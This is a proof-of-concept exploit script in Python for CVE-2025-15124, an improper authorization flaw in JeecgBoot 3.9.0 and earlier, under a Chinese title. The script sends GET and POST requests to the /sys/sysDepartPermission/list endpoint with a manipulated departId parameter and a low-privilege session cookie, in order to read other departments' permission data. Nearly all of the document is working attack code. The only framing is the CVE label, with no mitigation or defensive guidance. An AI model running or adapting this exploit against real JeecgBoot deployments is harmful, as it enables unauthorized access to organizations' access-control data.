CVE-2025-15124: JeecgBoot 3.9.0及之前版本权限控制不当漏洞

# CVE-2025-15124 PoC - JeecgBoot Improper Authorization # Target: /sys/sysDepartPermission/list endpoint # Vulnerability: Bypass authorization via departId parameter manipulation import requests import json target_url = "http://target-server/jeecg-boot/sys/sysDepartPermission/list" # Standard low-privilege user session cookies = { "JSESSIONID": "YOUR_SESSION_ID_HERE" } headers = { "User-Agent": "Mozilla/5.0", "Content-Type": "application/json" } # Vulnerability: No proper authorization check on departId parameter # Attacker can access other departments' permission data with low privilege # Method 1: GET request with query parameter params = { "departId": "1" # Target department ID to enumerate } response = requests.get( target_url, params=params, cookies=cookies, headers=headers, verify=False, timeout=10 ) print(f"Status Code: {response.status_code}") print(f"Response: {json.dumps(response.json(), indent=2, ensure_ascii=False)}") # Method 2: POST request with JSON body data = { "departId": "1" } response = requests.post( target_url, json=data, cookies=cookies, headers=headers, verify=False, timeout=10 ) print(f"POST Response: {json.dumps(response.json(), indent=2, ensure_ascii=False)}")